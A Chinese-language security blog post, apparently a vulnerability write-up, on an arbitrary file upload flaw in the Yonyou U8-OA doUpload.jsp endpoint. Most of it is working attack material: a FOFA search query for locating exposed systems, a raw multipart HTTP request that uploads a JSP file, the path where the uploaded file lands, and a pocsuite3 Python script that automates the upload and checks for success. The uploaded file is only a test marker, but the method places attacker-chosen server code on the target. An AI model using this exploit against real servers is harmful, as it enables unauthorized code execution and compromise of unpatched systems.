免责声明
文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责
漏洞描述
用友U8-OA协同工作系统doUpload.jsp接口存在任意文件上传漏洞
fofa语句
title="用友U8-OA"
poc加检测
POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75
--7b1db34fff56ef636e9a5cebcd6c9a75
Content-Disposition: form-data; name="iconFile"; filename="info.jsp"
Content-Type: application/octet-stream
<% out.println("tteesstt1"); %>
--7b1db34fff56ef636e9a5cebcd6c9a75--
上传成功后评价url ip//yyoa/portal/upload/xxx.jsp
poc脚本
脚本使用pocsuite框架
# _*_ coding:utf-8 _*_
# @Time : 2024/2/23
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class yongyouu8_doupload_upload(POCBase):
pocDesc = '''用友U8-OA协同工作系统doUpload.jsp接口任意文件上传漏洞'''
author = '炼金术师诸葛亮'
createDate = '2023-12-10'
name = '用友U8-OA协同工作系统doUpload.jsp接口任意文件上传漏洞'
#title="用友U8-OA"
def _verify(self):
result = {}
url = self.url+ '/yyoa/portal/tools/doUpload.jsp'
headers = {
"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
"Accept": "*/*",
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
"Upgrade-Insecure-Requests": "1",
"Content-Type": "multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75"
}
try:
data = '--7b1db34fff56ef636e9a5cebcd6c9a75\r\nContent-Disposition: form-data; name="iconFile"; filename="info.jsp"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.println("tteesstt1"); %>\r\n--7b1db34fff56ef636e9a5cebcd6c9a75--'
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200 and 'jsp' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(yongyouu8_doupload_upload)